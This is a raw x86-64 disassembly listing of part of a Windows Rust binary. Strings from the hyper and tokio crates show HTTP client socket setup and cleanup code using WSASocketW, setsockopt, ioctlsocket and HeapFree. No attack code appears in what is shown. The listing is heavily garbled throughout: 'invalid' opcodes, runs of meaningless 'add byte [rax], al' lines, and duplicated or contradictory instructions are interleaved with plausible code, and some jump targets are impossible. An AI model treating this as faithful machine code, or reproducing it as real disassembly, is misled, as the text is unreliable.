mov ebp, r12d
mov rcx, qword [rsp + 0x68]
mov r12, rsi
mov qword [rdi + 0x138], rax
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x1f0]
mov qword [r15 + 0x68], rax
movaps xmm0, xmmword [rsp + 0x1e0]
movups xmmword [r15 + 0x58], xmm0
movaps xmm0, xmmword [rsp + 0x1d0]
add dword [rax], eax
add byte [rcx + 0xf], al
adc dword [rdi + 0x48], eax
add dword [rax], eax
add byte [rcx + 0xf], al
adc dword [rdi + 0x48], eax
movdqa xmm0, xmmword [rsp + 0x190]
movaps xmm1, xmmword [rsp + 0x1a0]
movaps xmm2, xmmword [rsp + 0x1b0]
movaps xmm3, xmmword [rsp + 0x1c0]
movups xmmword [r15 + 0x38], xmm3
movups xmmword [r15 + 0x28], xmm2
movups xmmword [r15 + 0x18], xmm1
movdqu xmmword [r15 + 8], xmm0
invalid
invalid
mov qword [r15 + 0x70], r10
mov qword [r15 + 0x78], r10
mov qword [r15 + 0x80], r9
add byte [rax - 0x75], cl
and al, 0x50
add byte [rax - 0x75], cl
and al, 0x50
mov qword [r15 + 0x88], rax
mov qword [r15 + 0x90], rcx
nop
add byte [rax], al
add byte [rcx - 0x77], al
scasd eax, dword [rdi]
cwde
add byte [rax], al
add byte [rbp - 0x77], cl
invalid
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [r15 + 0xa8], r14
mov rax, qword [rsp + 0x38]
mov qword [r15 + 0xb0], rax
xchg dword [rax + 0x4d000000], esi
mov dword [rdi + 0xb8], ebx
xchg dword [rax + 0x4d000000], esi
mov dword [rdi + 0xb8], ebx
mov qword [r15 + 0xc0], r13
mov eax, dword [rsp + 0x48]
and al, 0x48
mov dword [r15 + 0xc8], eax
add rdx, 0x10
mov qword [r15 + 0xd0], rdx
lea r13, [rdi + 0x138]
add r15, 0xd8
lea rdx, [rsp + 0x1f8]
mov r8d, 0x918
invalid
sbb byte [rcx], cl
add byte [rax], al
invalid
add byte [rcx + rcx*4 - 7], cl
mov rcx, r15
call fcn.140106530
lea r14, [rdi + 0xb28]
sub byte [rbx], cl
add byte [rax], al
sub byte [rbx], cl
add byte [rax], al
mov byte [rdi + 0xb28], 0
mov byte [rdi + 0xb29], 0
lea rcx, [rdi + 0x210]
mov r8d, 0xd8
mov rdx, r13
call fcn.140106530
add byte [0xf798ac65], al
mov al, 2
add byte [rax], al
cmp dword [rdi + 0x210], 2
mov qword [rsp + 0x38], r13
and al, 0x38
jne 0x1400b64cb
mov rax, qword [rdi + 0x2e0]
mov qword [rdi + 0xb30], rsi
mov qword [rdi + 0xb38], rax
xchg dword [rax], edi
or eax, dword [rax]
add dh, al
xchg dword [rax + 0xe], ebp
xchg dword [rax], edi
or eax, dword [rax]
add dh, al
xchg dword [rax + 0xe], ebp
mov rbp, qword [rsp + 0x30]
mov rsi, r12
lea rdx, [rdi + 0xb30]
lea rcx, [rsp + 0x90]
mov r8, rsi
call fcn.1400b6d20
mov r13, qword [rsp + 0x90]
cmp r13, 3
jne 0x1400b65e6
add byte [rax], al
add byte [rcx - 0x7d], cl
std
add ecx, dword [rdi]
test dword [rdx], esp
add dword [rax], eax
add byte [rax + 0x3a4e903], dh
add byte [rax], al
mov al, 3
jmp 0x1400b686f
lea rcx, [rdi + 0x2e8]
mov r8d, 0xa0
mov rdx, r13
call fcn.140106530
mov rax, qword [rdi + 0x2e0]
loopne 0x1400b64e7
add byte [rax], al
loopne 0x1400b64e7
add byte [rax], al
lea r15, [rdi + 0x388]
mov qword [rdi + 0x388], rsi
mov qword [rdi + 0x390], rax
mov byte [rdi + 0x700], 0
lea rcx, [rdi + 0x358]
lea rdx, [rdi + 0x708]
or byte [rdi], al
add byte [rax], al
mov qword [rdi + 0x708], rcx
mov qword [rdi + 0x710], rax
mov byte [rdi + 0xa80], 0
mov qword [rdi + 0xb30], rdx
lea rax, [rdi + 0xa88]
movups xmm0, xmmword [r13]
movups xmm1, xmmword [r13 + 0x10]
movups xmm2, xmmword [r13 + 0x20]
movups xmm3, xmmword [r13 + 0x30]
movups xmmword [rdi + 0xa88], xmm0
movups xmmword [rdi + 0xa98], xmm1
movups xmmword [rdi + 0xaa8], xmm2
movups xmmword [rdi + 0xab8], xmm3
movups xmm0, xmmword [r13 + 0x40]
movups xmmword [rdi + 0xac8], xmm0
movups xmm0, xmmword [r13 + 0x50]
movups xmmword [rdi + 0xad8], xmm0
movdqu xmm0, xmmword [r13 + 0x60]
movdqu xmmword [rdi + 0xae8], xmm0
movq qword [rdi + 0xae8], mm0
mov qword [rdi + 0xb38], r15
mov qword [rdi + 0xb40], rax
mov rbp, qword [rsp + 0x30]
mov rsi, r12
lea rcx, [rsp + 0x90]
mov rdx, r15
mov r8, rsi
call fcn.1400b6d20
mov rax, qword [rsp + 0x90]
mov r13, qword [rdi + 0xb40]
cmp rax, 3
jne case.0x14005cc92.348
mov rdx, qword [rsi]
mov rcx, r13
call fcn.1400f43e0
test al, al
je 0x1400b6723
mov al, 4
jmp 0x1400b686f
movupd xmm6, xmmword [rsp + 0x98]
mov r15, qword [rsp + 0xa8]
mov r12, qword [rsp + 0xb0]
cmp byte [rdi + 0xea8], 3
test al, 0xe
add byte [rax], al
add ecx, dword [rdi]
test edx, ecx
add al, 0
invalid
test al, 0xe
add byte [rax], al
add ecx, dword [rdi]
test edx, ecx
add al, 0
add byte [rax - 0x73], cl
invalid
lea rcx, [rdi + 0xd20]
call fcn.1400b7d20
invalid
add byte [rax], al
invalid
add byte [rax], al
mov r8, qword [rdi + 0xb50]
test r8, r8
je 0x1400b6ad6
push rax
or eax, dword [rax]
add byte [rbp - 0x7b], cl
ror byte [rdi], 0x84
scasb al, byte [rdi]
add al, 0
add byte [rcx + rcx*4 + 0x74], cl
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x30], esi
je 0x1400b6650
xor byte [rax - 0x7d], cl
mov edi, 0xb58
add byte [rdi + rcx + 0x48], dh
mov ecx, dword [0x140182260]
cmp qword [rdi + 0xb58], 0
je 0x1400b6646
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rdi + 0xb60]
test r14, r14
je 0x1400b6ad1
jnp 0x1400b6658
add byte [rax], al
mov rsi, qword [rdi + 0xb68]
mov rcx, r14
mov bh, 0x68
or eax, dword [rax]
add byte [rcx + rcx*4 - 0xf], cl
call qword [rsi]
cmp qword [rsi + 8], 0
add byte [rdi], cl
test byte [rsp + rax], ah
invalid
add byte [rdi], cl
test byte [rsp + rax], ah
add byte [rax - 0x7d], cl
jle 0x1400b6681
cmp qword [rsi + 0x10], 0x11
jb 0x1400b6678
adc dword [rdx + 4], esi
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
or eax, 0xcbbe1
xor edx, edx
mov r8, r14
jmp 0x1400b6acb
mov rcx, qword [rsp + 0x98]
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x170], xmm0
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
mov rdx, qword [rsp + 0xb0]
mov qword [rsp + 0x180], rdx
mov qword [rdi + 0xaf8], rax
add byte [rax], al
mov qword [rdi + 0xb00], rcx
movaps xmm0, xmmword [rsp + 0x170]
mov rdx, qword [rsp + 0xb0]
mov qword [rsp + 0x180], rdx
mov qword [rdi + 0xaf8], rax
add byte [rax], al
add byte [rax], al
mov qword [rdi + 0xb00], rcx
movaps xmm0, xmmword [rsp + 0x170]
movups xmmword [rdi + 0xb08], xmm0
mov rax, qword [rsp + 0x180]
mov qword [rdi + 0xb18], rax
or eax, dword [rax]
add byte [rcx + rcx*4 - 0x51], cl
and byte [rbx], cl
add byte [rax], al
or eax, dword [rax]
add byte [rcx + rcx*4 - 0x51], cl
and byte [rbx], cl
add byte [rax], al
mov qword [rsp + 0x120], rax
add dword [rax], eax
add byte [rdi], cl
movaps xmmword [rsp + 0x110], xmm0
movaps xmmword [rsp + 0x110], xmm0
add byte [rax], al
mov rax, qword [rdi + 0xaf8]
mov qword [rsp + 0x100], rax
and al, 0
add dword [rax], eax
add byte [rax - 0x75], cl
xchg dword [rax], eax
or eax, dword [rax]
add byte [rax], al
and al, 0
add dword [rax], eax
add byte [rax - 0x75], cl
xchg dword [rax], eax
or eax, dword [rax]
add byte [rax], al
mov qword [rsp + 0x108], rax
mov r15, qword [rdi + 0xb30]
mov edi, 0xb30
add byte [rax], al
mov qword [rsp + 0x108], rax
mov r15, qword [rdi + 0xb30]
mov edi, 0xb30
mov edi, 0xb30
mov eax, 1
add byte [rax], al
jmp 0x1400b67ec
mov qword [rdi + 0xaf8], 3
mov qword [rdi + 0xb00], r15
mov edi, 0xb00
mov edi, 0xb00
movdqa xmm0, xmmword [rsp + 0x170]
and al, 0x70
add dword [rax], eax
jo 0x1400b673d
add byte [rax], al
add bl, dh
movq qword [rdi + 0xb08], mm0
add byte [rax], al
movdqu xmmword [rdi + 0xb08], xmm0
add byte [rax], al
mov rax, qword [rsp + 0x180]
and al, 0x80
add dword [rax], eax
add byte [rax - 0x77], cl
mov qword [rdi + 0xb18], rax
mov qword [rdi + 0xb20], r13
mov qword [rdi + 0xb18], rax
mov qword [rdi + 0xb20], r13
mov rax, qword [rdi + 0xb30]
mov qword [rdi + 0xb30], r15
xchg dword [rax], esi
or eax, dword [rax]
add byte [rcx + rcx*4 - 0x41], cl
xor byte [rbx], cl
add byte [rax], al
mov qword [rdi + 0xb38], rax
lea r13, [rsp + 0x130]
and al, 0x30
add dword [rax], eax
add byte [rcx + rcx*4 - 0x17], cl
mov rcx, r13
mov rcx, r13
mov rdx, r15
mov r8, rsi
call fcn.1400b6d20
cmp dword [rsp + 0x130], 3
and al, 0x30
add dword [rax], eax
add byte [rax], al
invalid
and al, 0x30
add dword [rax], eax
add byte [rax], al
invalid
xor byte [rcx], al
add byte [rax], al
add ecx, dword [rax - 0x75]
xchg edi, eax
cmp byte [rbx], cl
add byte [rax], al
mov rdx, qword [rdi + 0xb38]
mov edx, dword [rdi + 0xb38]
jne 0x1400b67c1
lea r13, [rsp + 0x90]
lodsb al, byte [rsi]
and al, 0x90
add byte [rax], al
add byte [rax], al
mov rcx, r13
add byte [rax], al
mov rcx, r13
mov r8, rsi
mov eax, esi
call fcn.1400b6d20
mov eax, 1
cmp dword [rsp + 0x90], 3
jne 0x1400b67c6
add eax, 0x1b80000
add byte [rax], al
add byte [rbx + 0x9024bc], al
add byte [rax], al
add esi, dword [rbp + 0xc]
mov al, 5
jmp 0x1400b686f
xor eax, eax
mov r15, rdx
mov rcx, qword [r13 + 0x20]
mov qword [rsp + 0x120], rcx
movups xmm0, xmmword [r13]
adc byte [rbp], al
and al, 0x20
add dword [rax], eax
add byte [rcx + 0xf], al
adc byte [rbp], al
movups xmm1, xmmword [r13 + 0x10]
movaps xmmword [rsp + 0x110], xmm1
add dword [rax], eax
invalid
adc byte [r15], r9b
sub dword [rsp + 0x110], ecx
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x100], eax
add byte [rax], al
movaps xmmword [rsp + 0x100], xmm0
mov byte [rdi + 0xb29], 1
mov rcx, qword [rsp + 0x100]
and al, 0
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 8
add dword [rax], eax
add byte [rsi + 0xf], ah
movq mm0, qword [rsp + 0x110]
add byte [rax], al
add dword [rax - 0x75], ecx
mov word [rax + rax], fs
and al, 0
and al, 0
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 8
add dword [rax], eax
add byte [rsi + 0xf], ah
movq mm0, qword [rsp + 0x110]
invalid
invalid
invalid
movq mm0, qword [rsp + 0x110]
mov qword [rdi + 0xb30], rcx
mov qword [rdi + 0xb38], rdx
movdqu xmmword [rdi + 0xb40], xmm0
or eax, dword [rax]
add byte [rax - 0x75], cl
mov word [rax + riz], fs
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
push rax
or eax, dword [rax]
add byte [rbx + rcx*4 - 0x51], cl
mov ebp, dword [rdi + 0xb30]
or eax, dword [rax]
add byte [rax - 0x75], cl
mov word [rax + riz], fs
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
mov ebp, dword [rdi + 0xb30]
xor byte [rbx], cl
add byte [rax], al
cmp r13, 2
jne 0x1400b68ae
mov qword [rdi + 0xb58], rax
xchg dword [rax + 0xb], ebx
add byte [rax], al
mov qword [rdi + 0xb60], r15
lea rcx, [rsp + 0x90]
nop
add byte [rax], al
add byte [rcx + rcx*4 - 6], cl
mov rdx, r15
mov rdx, r15
mov r8, rsi
call fcn.1400b6d20
mov r13, qword [rsp + 0x90]
add byte [rax], al
add byte [rcx - 0x7d], cl
std
add esi, dword [rbp + 0x5c]
add byte [rax], al
add byte [rcx - 0x7d], cl
std
add esi, dword [rbp + 0x5c]
mov al, 6
mov byte [r14], al
mov al, 4
mov r13, qword [rsp + 0x80]
mov byte [r13], al
mov qword [rbx], 3
mov al, 3
mov byte [rdi + 0xeb0], al
mov rax, rbx
mov eax, ebx
mov eax, ebx
movaps xmm6, xmmword [rsp + 0xb10]
mov ah, 0x24
adc byte [rbx], cl
add byte [rax], al
add rsp, 0xb28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movupd xmm6, xmmword [rdi + 0xb38]
mov r15, qword [rdi + 0xb48]
mov edi, 0xb48
mov edi, 0xb48
mov r12, qword [rdi + 0xb50]
jmp 0x1400b6968
movupd xmm6, xmmword [rsp + 0x98]
mov r15, qword [rsp + 0xa8]
mov esp, 0xa824
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0xb0
add byte [rax], al
add byte [rax + 0xb29bf], al
add byte [rax], al
invalid
mov ah, 0x24
cwde
add byte [rax], al
add byte [rbx + rcx*4 - 0x44], cl
mov esp, 0xa824
mov esp, 0xa824
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0xb0
add byte [rax], al
add byte [rax + 0xb29bf], al
add byte [rax], al
invalid
add byte [rbp + rdi*2 - 0x7d], dh
mov edi, 0xb30
add dh, byte [rbp + 0x68]
je 0x1400b6968
cmp dword [rdi + 0xb30], 2
jne 0x1400b695c
mov qword [rsp + 0x30], r14
cmp qword [rdi + 0xb40], 0
or eax, dword [rax]
add byte [rax], al
or eax, dword [rax]
add byte [rax], al
je 0x1400b6919
mov r8, qword [rdi + 0xb38]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rdi + 0xb48]
test r14, r14
je 0x1400b6955
mov rsi, qword [rdi + 0xb50]
mov rcx, r14
call qword [rsi]
cmp qword [rsi + 8], 0
invalid
je 0x1400b6955
add byte [rbp + rbx + 0x48], dh
cmp dword [rsi + 0x10], 0x11
invalid
cmp qword [rsi + 0x10], 0x11
adc dword [rdx + 4], esi
jb 0x1400b6943
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
or eax, 0xcb916
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rsp + 0x30]
and al, 0x30
jmp 0x1400b6968
lea rcx, [rdi + 0xb30]
call fcn.1400ad770
outsb dx, byte [rsi]
invalid
invalid
outsb dx, byte [rsi]
invalid
mov byte [rdi + 0xb29], 0
lea rcx, [rdi + 0xa88]
call fcn.1400ec890
add byte [rax - 0x73], cl
invalid
nop
or al, byte [rax]
add byte [rax - 0x7d], cl
mov edi, 0xa88
mov byte [rdx], cl
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
invalid
add byte [rax - 0x73], cl
invalid
mov byte [rdx], cl
add byte [rax], al
add byte [rax + rdx + 0x48], dh
mov eax, dword [rcx]
or al, byte [rax]
add byte [rax], al
je 0x1400b699c
mov rax, qword [rcx]
lock dec qword [rax]
jne case.0x140093f12.165
call fcn.140068890
neg byte [rsi]
sti
invalid
jmp case.0x140093f12.165
mov rax, qword [rcx]
lock dec qword [rax]
jne case.0x140093f12.165
call fcn.140069420
mov rax, qword [rdi + 0xad0]
test rax, rax
je 0x1400b69c0
mov rcx, qword [rdi + 0xad8]
call qword [rax + 0x18]
mov qword [rsp + 0x30], r14
cmp byte [rdi + 0xa80], 3
jne 0x1400b6a3b
lea rcx, [rdi + 0x8f8]
call fcn.1400b7d20
adc r8d, dword [rax]
add byte [rbx + rcx*4 - 0x79], cl
sub byte [rdi], al
add byte [rax], al
adc r8d, dword [rax]
add byte [rbx + rcx*4 - 0x79], cl
sub byte [rdi], al
add byte [rax], al
test r8, r8
je 0x1400b6a3b
push rbp
cmp qword [rdi + 0x730], 0
je 0x1400b69ff
or al, 0
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x5c961
mov r14, qword [rdi + 0x738]
test r14, r14
je 0x1400b6a3b
invalid
xor byte [rax - 0x75], cl
mov bh, 0x40
invalid
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x1400b6a3b
cmp qword [rsi + 0x10], 0x11
jb 0x1400b6a29
jle 0x1400b6a32
adc dword [rdx + 4], esi
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x5c925
invalid
invalid
add eax, 0xbf8000
invalid
add byte [rax + 0x700bf], al
add byte [rbx], al
cmp byte [rdi + 0x700], 3
mov edi, 0x700
add esi, dword [rbp + 0x6d]
jne 0x1400b6ab1
lea rcx, [rdi + 0x578]
call fcn.1400b7d20
rcl byte [rdx]
add byte [rax], al
invalid
rcl byte [rdx]
add byte [rax], al
mov r8, qword [rdi + 0x3a8]
test r8, r8
je 0x1400b6ab1
cmp qword [rdi + 0x3b0], 0
add eax, dword [rax]
add byte [rax], al
je 0x1400b6a75
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x5c8eb
add byte [rcx], dh
sar bh, cl
adc eax, 0x5c8eb
mov r14, qword [rdi + 0x3b8]
mov esi, dword [rdi + 0x3b8]
test r14, r14
je 0x1400b6ab1
invalid
xor byte [rax - 0x75], cl
mov bh, 0xc0
add eax, dword [rax]
add byte [rcx + rcx*4 - 0xf], cl
int1
mov rsi, qword [rdi + 0x3c0]
mov rcx, r14
int1
int1
call qword [rsi]
cmp qword [rsi + 8], 0
invalid
je 0x1400b6ab1
invalid
cmp qword [rsi + 0x10], 0x11
jb 0x1400b6a9f
mov r14, qword [r14 - 8]
mov esi, dword [rsi - 8]
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rax - 0x7d], cl
mov edi, 0x368
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rdi + 0x358]
xchg dword [rax + 3], ebx
add byte [rax], al
cmp qword [rdi + 0x368], 0
je 0x1400b6ad1
mov r8, qword [rdi + 0x358]
xchg dword [rax + 3], ebx
add byte [rax], al
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rsp + 0x30]
mov esi, dword [rsp + 0x30]
cmp qword [rdi + 0x2c0], 0
je 0x1400b6af6
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rdi + 0x2b0]
invalid
mov al, 2
add byte [rax], al
mov r8, qword [rdi + 0x2b0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
push 0xffffffffffffffc8
invalid
invalid
push 0xffffffffffffffc8
add eax, 0x6c64100
add dword [rax - 0x75], ecx
mov byte [r14], 1
mov rcx, qword [rsp + 0x38]
and al, 0x38
and al, 0x38
call fcn.1400b7d90
mov word [rdx], ss
add byte [rax], al
cmp r13d, 2
je 0x1400b50e4
cmp r15, 0xffffffffffffffff
je 0x1400b6c1f
invalid
mov rax, qword [rdi + 0x128]
mov rax, qword [rax]
movzx eax, byte [rax + 0x77]
ja case.0x140093f12.154
test byte [rax + rdi*8], ah
add dword [rax], eax
add bh, al
and al, 0x20
add al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x75], cl
add byte [rdi], cl
mov dh, 0x40
ja case.0x140093f12.154
ja case.0x140093f12.154
test byte [rax + rdi*8], ah
clc
add dword [rax], eax
add bh, al
and al, 0x20
add al, 0
and byte [rax + rax], al
add byte [rax], al
lea r9, [rsp + 0x1f8]
mov rcx, r15
mov edx, 6
mov r8d, 1
add byte [rax], al
add byte [rax], al
call qword [sym.imp.ws2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x1400b6b5c
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
retf 5
cmp byte [rdi + 0xd0], 2
jb 0x1400b6b90
rol byte [rax], 1
add byte [rax], al
add dh, byte [rdx + 0x2b]
mov r14, qword [rdi + 0xd8]
lea rcx, [r14 + 0x18]
lea ecx, [rsi + 0x18]
sbb byte [rcx - 0x75], r9b
invalid
mov rax, qword [r14]
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
adc bh, bh
push rax
adc byte [rax - 0x75], cl
or eax, 0xcb6db
mov dh, 0xc
invalid
adc bh, bh
push rax
adc byte [rax - 0x75], cl
or eax, 0xcb6db
mov dh, 0xc
invalid
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rdi + 0xf8]
mov rax, qword [rdi + 0xe0]
mov eax, dword [rdi + 0xe0]
loopne 0x1400b6b9c
add byte [rax], al
loopne 0x1400b6b9c
add byte [rax], al
add byte [rax - 0x75], cl
mov rdx, qword [rdi + 0xe8]
mov r8, qword [rdi + 0xf0]
lock add byte [rax], al
invalid
xchg edi, eax
call 0x18c0b6ba6
mov eax, dword [rdi + 0xf0]
lock add byte [rax], al
invalid
lock add byte [rax], al
add bh, bh
call qword [rax + 0x10]
invalid
invalid
invalid
add byte [rax], al
call qword [rax + 0x10]
lea rcx, [rdi + 0x118]
sbb byte [rcx], al
add byte [rax], al
sbb byte [rcx], al
add byte [rax], al
mov rax, qword [rdi + 0x100]
mov rdx, qword [rdi + 0x108]
mov edx, dword [rdi + 0x108]
mov r8, qword [rdi + 0x110]
call qword [rax + 0x10]
adc dh, al
xchg dword [rdx], esi
add dword [rax], eax
add byte [rcx], al
add dword [rax], eax
add bh, bh
push rax
adc dh, al
xchg dword [rdx], esi
add dword [rax], eax
add byte [rcx], al
jmp 0x1400b5163
invalid
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
call fcn.140108b60
add eax, 0x1b900
add byte [rax], al
mov ecx, 1
mov edx, 0x1f
add byte [rax], al
call fcn.1401082a0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
lea ecx, [0x140141278]
jl 0x1400b6ba0
or byte [rax], al
call fcn.140108b60
mov ecx, 1
mov edx, 0x1c
add al, ch
nop
invalid
invalid
invalid
add al, ch
nop
invalid
mov ecx, 1
mov edx, 0x1e
call fcn.1401082a0
invalid
add byte [rax - 0x73], cl
or eax, 0x9611a
or dword [rax], eax
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srciopoll_evented.rs
call fcn.140108970
mov ecx, 1
mov edx, 9
add byte [rax], al
add byte [rax], al
add al, ch
invalid
call fcn.1401082a0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnectdns.rs
call fcn.140108b60
invalid
invalid
add eax, 0x4b900
add byte [rax], al
mov ecx, 4
mov edx, 0x20
call fcn.1401082c0
call fcn.140010970
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
add al, ch
cli
invalid
call fcn.140108b60
mov ecx, 1
add eax, 0x1b900
add byte [rax], al
mov rdx, rbp
call fcn.1401082a0
mov ecx, 4
add al, 0
add byte [rax], al
mov rdx, r12
call fcn.1401082a0
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x90], eax
mov dword [rsp + 0x90], eax
mov qword [rsp + 0x98], 1
mov qword [rsp + 0xa0], 8
add byte [rax], al
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
jg 0x1400b6c33
and al, 0xa8
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x9278d
invalid
or dword [rax], eax
add byte [rax], al
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
jg 0x1400b6c33
and al, 0xa8
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x9278d
invalid
or dword [rax], eax
invalid
lea rcx, [rsp + 0x90]
call fcn.140108560
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x130], rax
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rdi], ah
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rax], cl
add byte [rax], al
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
jg 0x1400b6c7b
and al, 0x48
add dword [rax], eax
invalid
invalid
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rax], cl
add byte [rax], al
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
jg 0x1400b6c7b
movq qword [rsp + 0x148], mm0
and al, 0x48
add dword [rax], eax
add byte [rax - 0x73], cl
lea rdx, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_time.rs
lea rdx, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrarycore_src_time.rs
lea rcx, [rsp + 0x130]
call fcn.140108560
ud2
int3
mov qword [rsp + 0x58], r8
mov rsi, rdx
mov qword [rsp + 0xf0], rcx
movzx eax, byte [rdx + 0x378]
add eax, dword [rax]
invalid
test eax, eax
je 0x1400b6d71
add eax, dword [rax]
add byte [rbp - 0x7cdc8b40], al
clc
add esi, dword [rbp + 0x63]
cmp eax, 3
jne 0x1400b6db6
lea r14, [rsi + 0x1f0]
movzx eax, byte [rsi + 0x280]
mov dh, 0x86
add byte [rdx], 0
add byte [rax - 0x73], cl
or eax, 0xc1d1c
mov dh, 0x86
add byte [rdx], 0
add byte [rax - 0x73], cl
or eax, 0xc1d1c
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rsi]
mov rcx, qword [rsi + 8]
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], rcx
mov qword [rsi + 0x20], 0
mov qword [rsi + 0x40], rax
xor r12d, r12d
mov rcx, qword [rax + 8]
mov r15, r12
cmp rcx, qword [rax + 0x18]
jne 0x1400b6dc2
test r15, r15
je 0x1400b79ee
add byte [rax], al
add byte [rax], al
mov rdi, qword [rsi + 0x28]
mov r12, qword [rsi + 0x30]
mov rbx, qword [rsi + 0x38]
jmp 0x1400b7a60
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
lea ecx, [0x140141238]
or byte [rax], al
call fcn.140108b60
lea rdx, [rcx + 0x20]
mov qword [rax + 8], rdx
movzx ebp, word [rcx]
mov bh, 0x29
mov bh, 0x29
movups xmm0, xmmword [rcx + 2]
movups xmm1, xmmword [rcx + 0x10]
adc byte [r15], cl
adc dword [rsp + 0x19e], ecx
adc byte [r15], cl
adc dword [rsp + 0x19e], ecx
movaps xmmword [rsp + 0x190], xmm0
cmp rbp, 2
je 0x1400b79e1
mov word [rsi + 0x48], bp
movaps xmm0, xmmword [rsp + 0x190]
movups xmmword [rsi + 0x4a], xmm0
movups xmm0, xmmword [rsp + 0x19e]
movups xmmword [rsi + 0x58], xmm0
mov rax, qword [rsi + 0x10]
mov rbx, qword [rsi + 0x18]
mov r15, qword [rax + 0x20]
mov r12d, dword [rax + 0x28]
mov eax, dword [rsi + 0x4a]
movzx edi, word [rsi + 0x4e]
shl rdi, 0x20
or rdi, rax
mov rax, qword [rsi + 0x50]
push rax
push rax
mov qword [rsp + 0x118], rax
mov rax, qword [rsi + 0x58]
mov qword [rsp + 0x110], rax
mov rax, qword [rsi + 0x60]
invalid
invalid
mov qword [rsp + 0x108], rax
and al, 8
add dword [rax], eax
add byte [rsi - 0x7b], ah
in eax, dx
invalid
and al, 8
add dword [rax], eax
add byte [rsi - 0x7b], ah
in eax, dx
mov eax, 2
mov ecx, 0x17
cmove ecx, eax
mov rax, qword [0x1401821c8]
cmp rax, 3
jne 0x1400b795f
or al, byte [rax]
invalid
or al, byte [rax]
add bh, al
and al, 0x28
add dword [rax], 0x44c70000
and al, 0x20
add byte [rax], al
add byte [rax], al
invalid
mov dword [rsp + 0x28], 0x81
mov dword [rsp + 0x20], 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rdx + 1], bh
add byte [rax], al
mov edx, 1
add byte [rax], al
mov r8d, 6
xor r9d, r9d
leave
leave
call qword [sym.imp.ws2_32.dll_WSASocketW]
cmp rax, 0xffffffffffffffff
je 0x1400b7a6a
mov r14, rax
mov dword [rsp + 0x60], 1
add byte [rax], al
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x60
invalid
add byte [rax], al
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x60
invalid
invalid
mov rcx, rax
mov edx, 0x8004667e
call qword [sym.imp.ws2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
clc
dec dword [rdi]
